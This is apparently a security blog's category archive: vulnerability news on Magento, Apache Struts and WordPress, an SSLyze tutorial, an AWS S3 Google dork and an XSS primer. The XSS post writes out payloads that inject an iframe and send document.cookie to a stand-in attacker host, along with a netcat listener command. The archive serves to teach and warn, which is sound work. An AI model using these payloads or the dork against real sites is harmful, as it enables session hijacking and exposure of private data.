Archive for the 'Web Application Security & Pentesting' Category


An unpatched vulnerability in the Magento e-commerce platform could allow hackers to upload and execute malicious code on web servers that host online shops.

 

The flaw was discovered by researchers from security consultancy DefenseCode and is located in a feature that retrieves preview images for videos hosted on Vimeo. Such videos can be added to product listings in Magento.

 

The DefenseCode researchers determined that if the image URL points to a different file, for example a PHP script, Magento will download the file in order to validate it. If the file is not an image, the platform will return a “Disallowed file type” error, but won’t actually remove it from the server.

 

An attacker with access to exploit this flaw could achieve remote code execution by first tricking Magento to download an .htaccess configuration file that enables PHP execution inside the download directory and then downloading the malicious PHP file itself.

 

Once on the server, the PHP script can act as a backdoor and can be accessed from an external location by pointing the browser to it. For example, attackers could use it to browse the server directories and read the database password from Magento’s configuration file. This can expose customer information stored in the database, which in the case of online shops, can be very sensitive.

 

The only limitation is that this vulnerability cannot be exploited directly because the video-linking functionality requires authentication. This means attackers need to have access to an account on the targeted website, but this can be a lower-privileged user and not necessarily an administrator.

 

The authentication obstacle can also be easily overcome if the website doesn’t have the “Add Secret Key to URLs” option turned on. This option is intended to prevent cross-site request forgery (CSRF) attacks and is enabled by default.

 

CSRF is an attack technique that involves forcing a user’s browser to perform an unauthorized request on a website when visiting a different one.

 

“The attack can be constructed as simple as <img src=… in an email or a public message board, which will automatically trigger the arbitrary file upload if a user is currently logged into Magento,” the DefenseCode researchers said in an advisory. “An attacker can also entice the user to open a CSRF link using social engineering.”

 

This means that by simply clicking on a link in an email or by visiting a specifically crafted web page, users who have active Magento sessions in their browser might have their accounts abused to compromise websites.

 

The DefenseCode researchers claim that they’ve reported these issues to the Magento developers back in November, but received no information regarding patching plans since then.

 

Several versions of the Magento Community Edition (CE) have been released since November, the most recent one being 2.1.6 on Tuesday. According to DefenseCode, all Magento CE versions continue to be vulnerable, which is what prompted them to go public about the flaw.

 

“We have been actively investigating the root cause of the reported issue and are not aware of any attacks in the wild,” Magento, the company that oversees development of the e-commerce platform, said in an emailed statement. “We will be addressing the issue in our next patch release and continue to consistently work to improve our assurance processes.”

“All users are strongly advised to enforce the use of ‘Add Secret Key to URLs’ which mitigates the CSRF attack vector,” the DefenseCode researchers said. “To prevent remote code execution through arbitrary file upload the server should be configured to disallow .htaccess files in affected directories.”

 

Magento is used by over 250,000 online retailers, making it an attractive target for hackers. Last year, researchers found thousands of Magento-based online shops that had been compromised and infected with malicious code that skimmed payment card details.

Share

March 13, 2017

Talos has observed a new Apache vulnerability that is being actively exploited in the wild. The vulnerability (CVE-2017-5638) is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts, referenced in this security advisory. Talos began investigating for exploitation attempts and found a high number of exploitation events. The majority of the exploitation attempts seem to be leveraging a publicly released PoC that is being used to run various commands. Talos has observed simple commands  as well as more sophisticated commands including pulling down a malicious ELF executable and execution.

With exploitation actively underway Talos recommends immediate upgrading if possible or following the work around referenced in the above security advisory.
Exploitation Attempts

In searching through data Talos was able to find ample examples of the vulnerability being targeted and detection was covered by signatures that were released on 3/7/2017 (41818, 41819).

 

Vulnerability Analysis

 

Apache uses org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest to upload file.

 

 

In the exploit, #nike=’multipart/form-data’ will make the expression as true. Then function getMultiPartRequest() will be executed. It will configure struts.multipart.parser attribute using org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.

 

 

The struts.multipart.parser used by the fileUpload interceptor to handle HTTP POST requests, encoded using the MIME-type multipart/form-data, can be changed out. Currently there are two choices, jakarta and pell. The jakarta parser is a standard part of the Struts 2 framework and needs only its required libraries added to a project. The pell parser uses Jason Pell’s multipart parser instead of the Commons-FileUpload library. The pell parser is a Struts 2 plugin, for more details see: pell multipart plugin. There was a third alternative, cos, but it was removed due to licensing incompatibilities.

 

 

Finally, Struts2 uses LocalizedTextUtil.findText in function buildErrorMessage to build the error message while the exploit takes advantage of LocalizedTextUtil.findText to execute OGNL commands.

 

 

Simple Probing

Below is an example of some simple probing attacks that are ongoing just checking to see if a system is vulnerable by executing a simple Linux based command.

 

 

Running the PoC will create a text file in /tmp folder in the target:

 

 

Attack Mitigation

One way to mitigate these targeted attacks is via Apache Struts patches. Patching the web server can be a never-ending race. New patches are released much faster than organizations can run them through staging, testing and then push them into production. An alternative solution is virtual patching through an external security tool like a Web Application Firewall (WAF), which provides immediate protection to the web servers and applications maintaining business continuity while the right patch is developed, staged and tested.

Share

 

WordPress is one of the most used content management system (CMS) in the world. So when there is a security flaw in its system, it affects millions of users on the Internet. That is exactly what has been discovered by security researchers at Sucuri, an Internet security company which revealed that WordPress websites are vulnerable to a critical and easily exploitable zero-day Content Injection vulnerability.

Sucuri found a Content Injection or Privilege Escalation vulnerability affecting the REST API allowing an attacker to modify the content of any post or page within a WordPress site. However, there is good news since Sucuri discretely reported the vulnerability to WordPress security team who handled the matter professionally and informed as many security providers and hosts and implemented a patch before this became public.
If you are using WordPress on your website the only way you may be at risk is if you have not updated your WordPress to the latest version 4.7.2. The update was issued on January 26th.

In their blog post, Marc Alexandre Montpas from Sucuri stated that “This privilege escalation vulnerability affects the WordPress REST API that was recently added and enabled by default on WordPress 4.7.0. One of these REST endpoints allows access (via the API) to view, edit, delete and create posts. Within this particular endpoint, a subtle bug allows visitors to edit any post on the site. The REST API is enabled by default on all sites using WordPress 4.7.0 or 4.7.1. If your website is on these versions of WordPress, then it is currently vulnerable to this bug.”

Montpas further stated that “This is a serious vulnerability that can be misused in different ways to compromise a vulnerable site. We are hiding some technical details to make it harder for the bad guys, but depending on the plugins installed on a site, it can lead to a RCE (remote command execution). Also, even though the content is passed through wp_kses, there are ways to inject Javascript and HTML through it. Update now!”

If you or your friends are using WordPress, it is highly advisable to update your website and inform others about the issue so they can also update their WordPress to the latest version.

WordPress has also acknowledged the issue and published a blog post earlier today urging users to update their WordPress since it poses a “severe security risk” for users.

 

Share

February 25, 2016

515276483_691482

 

In the last Years, there have been several high-profile vulnerabilities in the SSL and TLS protocols such as Heartbleed or POODLE (Padding Oracle On Downgraded Legacy Encryption) that have sent administrators scrambling. There are a number of tools that can help you identify and evaluate the security of your SSL configuration. One tool, SSLyze, is a SSL scanner that can give you an idea of what flaws exist in your SSL implementation. While it won’t fix them, it will help you identify issues in your configuration.

 

SSLyze is a freely available SSL scanner from iSEC Partners. It works by attempting different, secure connections to the server that you are testing. SSLyze is built in python and runs in the command line. Let’s see how it works.

 

Let’s look how to install it, if you are Kali Linux user it present by default. Just update it frequently.

 

SSL is a good thing to have implemented as security on a website. But only if it is set up correctly. And the newest version, Otherwise you (your site) maybe will be hacked (Heartbleed).

 

It is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers. SSLyze is all Python code but it uses an OpenSSL wrapper written in C called nassl, which was specifically developed for allowing SSLyze to access the low-level OpenSSL APIs needed to perform deep SSL testing.

 

 

Some features are:

 

  • Multi-processed and multi-threaded scanning: it’s very fast.
  • Support for all SSL protocols, from SSL 2.0 to TLS 1.2.
  • NEW: SSLyze can also be used as a library, in order to run scans and process the results directly from Python.
  • Performance testing: session resumption and TLS tickets support.
  • Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more.
  • Server certificate validation and revocation checking through OCSP stapling.
  • Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP, PostGres and FTP.
  • Support for client certificates when scanning servers that perform mutual authentication.

 

 
To install SSLyze you can use either pip

 

 

#pip install sslyze

 

or  clone it from Github

 

#git clone https://github.com/nabla-c0d3/sslyze.git
#cd sslyze
#pip install -r requirements.txt –target ./lib

 

The following command is how you run a basic SSLyze scan:

 

#python sslyze.py  –regular  example.com:443

 
Additionally, SSLyze can be packaged as an executable so you can use it on windows machine easily. That command would look like this:

 

 

sslyze.exe –regular somewebsite.com:443

 
This command scans the domain and writes the output back to the console. The option, –regular, is a shortcut for several options that are commonly used. The output will look something like the example screenshot below.

 

This gives you some good information about the security of your SSL configuration, such as whether or not specific settings are enabled (like secure renegotiation or compression), some general information about the certificate, and what SSL protocols and ciphers are accepted by your server. Let’s look at each section individually.

 

#sslyze -h

 

Screenshot from 2016-02-26 00:59:27

Screenshot from 2016-02-26 01:01:11

 

 

The first section of the report requires little explanation, it’s just SSLyze letting you know what plugins it’s using and checking to see if the host you entered is available.

 

 

REGISTERING AVAILABLE PLUGINS

—————————–

PluginCertInfo

PluginChromeSha1Deprecation

PluginHSTS

PluginOpenSSLCipherSuites

PluginSessionResumption

PluginHeartbleed

PluginCompression

PluginSessionRenegotiation

CHECKING HOST(S) AVAILABILITY

—————————–

0.0.0.0:443 => 0.0.0.0:443

In the second section we start to see some of the first vulnerabilities SSLyze is looking for. All of these relate to some issue with SSL configuration.

 

For example, if compression is enabled, then you are probably vulnerable to the CRIME attack. Or if you have an insecure renegotiation vulnerability (that’s when client-initialed renegotiations are accepted and secure renegotiation is disabled) that can lead to denial of service attacks and man-in-the-middle request injections. Generally, if SSLyze says VULNERABLE instead of OK, then you have some reconfiguring to do.

 

* Deflate Compression:

OK – Compression disabled

* Session Renegotiation:

Client-initiated Renegotiations: OK – Rejected

Secure Renegotiation: OK – Supported

* OpenSSL Heartbleed:

OK – Not vulnerable to Heartbleed

 

 

The next section of the report contains a lot of simple info about the SSL certificate. It contains the name of the certificate authority that signed this certificate and the key size signature algorithm.

 

Right now, SHA1 with a 2048 bit key is the standard, however in the next few years, browsers will no longer trust SHA1. Also, this section is where SSLyze will check if OCSP (Online Certificate Status Protocol) Stapling or session resumption are enabled.

 

* Certificate – Content:

SHA1 Fingerprint: 00000000000000000000000000000

Common Name: example.com

Issuer: Some SSL CA – G2

Serial Number: 0000000000000000000000000000000

Not Before: Jan 24 00:00:00 2015 GMT

Not After: Jan 22 23:59:59 2019 GMT

Signature Algorithm: sha1WithRSAEncryption

Key Size: 2048 bit

Exponent: 65537 (0x10001)

X509v3 Subject Alternative Name: {‘DNS’: [‘example.com’]}

* Certificate – Trust:

Hostname Validation: OK – Certificate matches example.com

“Mozilla NSS – 08/2015” CA Store: OK – Certificate is trusted

“Microsoft – 08/2015” CA Store: OK – Certificate is trusted

“Apple – OS X 10.9.4” CA Store: OK – Certificate is trusted

“Java 6 – Update 65” CA Store: OK – Certificate is trusted

Certificate Chain Received: [‘example.com’, ‘Some SSL CA – G2’, ‘Some CA’, ‘Some Secure Certificate Authority’]

* Certificate – OCSP Stapling:

NOT SUPPORTED – Server did not send back an OCSP response.

* Session Resumption:

With Session IDs: OK – Supported (5 successful, 0 failed, 0 errors, 5 total attempts).

With TLS Session Tickets: NOT SUPPORTED – TLS ticket not assigned.

 

 

The last section of the report details all of the enabled protocols and the allowed cipher suites on top of those protocols.

 

In this example, the administrator has disabled SSL version 2 as it is very insecure (yay!). However, SSLv3 is enabled and there are still some weak ciphers enabled on the TLS protocols, namely RC4 and DES. The next step for this admin would be to implement SSLv3, to avoid issues like POODLE (Padding Oracle Over Downgraded Legacy Encryption). After that, it would be wise to disable older, insecure suites and support NIST compliant cipher suites. For example, EDCHE RSA key exchange, with RSA encryption.

 

* SSLV2 Cipher Suites:

Server rejected all cipher suites.

* TLSV1_2 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* TLSV1_1 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* TLSV1 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* SSLV3 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

SCAN COMPLETED IN 3.16 S

 

You can download SSLyze here. Hopefully you now have enough information about this excellent tool to take advantage of it.  and keep your website safe from hacking.

 

Share

Dangerous Amazon AWS Dork

Author: Martin Voelk
February 2, 2016

Google search is probably the most powerful OSINT tool out there. Hackers are very well aware of this and so should Penetration Testers and Ethical Hackers be. Today we feature a very basic Google Dork to find insecure documents on Amazon AWS instances.

As part of the reconnaissance phase of a Penetration test for customers having AWS presences, such dorks are very important to check.

In the Google search bar simply enter:
site:s3.amazonaws.com “keyword” 

The keyword is replaced with various customer specific keywords and of course the dork can be combined with the inurl: parameter as well. Shocking stuff comes back in seconds. We refrain from putting a real example here as it’s just so bad what you get back in a few searches.

Watch your AWS settings and what you publish people!

Share

April 15, 2015

This one deserves a post. A nice guy who teaches Web Application Security to Universities has developed an awesome VMware image with a lot of vulnerable Web Applications. He has combined a lot of the common vulnerable Web Apps such as DVWA and OWASP Bricks into a single bootable bundle.

A lot of the Web Apps come with complete course modules where Penetration Testers can run through modules in a course style environment. Best of all. It’s completely free, fun and safe.

Students can practice simple stuff such as HTML GET and POST manipulation, LFI/RFI to advanced Javascript vulnerabilities, Cross Site Scripting (XSS) and SQL Injection. You can test automated tools such as Burp Suite, Nikto, OWASP-ZAP, Netstalker etc. You can use Firefox Pentesting plugins all the way to manual testing.

A special funny highlight is the OWASP Hackademic Challenges Project where you become a little Cyber agent with tasks of gaining access to websites, find hidden files etc.

IMHO, working with such vulnerable distributions is a LOT more valuable to Penetration Testers than reading and understanding dry theory and concepts. Penetration Testing is all about being able to face challenges and to be able to do Pentesting not just understanding the concepts.

You can download the VMware image here:

http://www.vulnerablewebapps.org

Share

Often there is a misconception around Security Professionals that Web Application Penetration Testing requires a lot of expensive tools. Whilst some of the really good tools are expensive such as Metasploit Pro or Acunetix, there are a lot of free and really powerful tools out there.

Today we would like to introduce some very useful Penetration Testing plugins for the Firefox Browser.

1. XSS Me

Awesome little tool sidebar to test for Cross Site Scripting

2. SQL Inject Me

Great tool to find SQL injection vulnerabilities

Those tools can be downloaded at: http://labs.securitycompass.com/exploit-me/

Share

March 24, 2015

Cross Site scripting or XSS is one of the most common vulnerabilities in Web Applications. We find this sort of vulnerability in variations in 70% of our Penetration Tests. Now why is XSS so dangerous? Well because it allows an ordinary visitor to a web site to execute command through the Web Application which in the worst case scenario can be used to obtain full control over the web server.

Examples

Thing of a guest book or form application. Instead of leaving a text a malicious person could put in:

<script>alert(“VULNERABLE”)</script> 

If vulnerable, a pop up will appear saying VULNERABLE.

If an XSS vulnerability is found a lot of damage can be done like an iFrame can be injected to transfer the victim through the browser to an attackers web server:

<iframe SRC=”http://hackerabc.com/blah” height = “0” width =”0″></iframe>

The attacker would then run a simple netcat listener: nc -nlvp 80

and get quite a bit of info about the victims browser.

But far worse could be done. The session cookie can be stolen. That means if the user is logged into the application, a malicious attacker could then take over this application by replaying the session ID:

<script> new Image().src=”http://hackerabc.com/bad.php?output=”+document.cookie; </script>

Cookie Manager (a Firefox plugin can be used to replay the session ID and take over the session).

Those are very basic examples and there are far more sophisticated attacks (like having the victim web server sending a full reverse shell). In our Pentests we regularly come across those, so we would like to stress the fact that XSS is a serious threat these days.

A good starting point is: http://en.wikipedia.org/wiki/Cross-site_scripting

Share

March 17, 2015

We have been doing a Web Application Pentest for a fairly large company this week. They are hosting with a well known Webhosting company, but maintain their own WordPress install with dozens of plugins.

Upon the initial assessment around the Web Application incl. WP-Scans, we immediately figured, that a lot of the dozens of plugins they use haven’t been maintained in terms of upgrades and patching.

We stumbled across an old installation of Contact Form 7, which is a very popular contact form script which allows users to use a contact form. Unfortunately, this old version didn’t sanitise any user input and by modifying an exploit which is available on the Exploit-DB (http://www.exploit-db.com/exploits/34922/), we were able to use the upload file function in the plugin to simply upload a remote controlled PHP script. System compromised.

We cannot stress enough that most plugins for WordPress out there have weak coding (well they are free after all and many are done by hobby programmers). But more worrying is the fact that customers seem not to regularly patch their WordPress installations and Plugins. Please keep them up to date.

Share

November 30, 2014

Share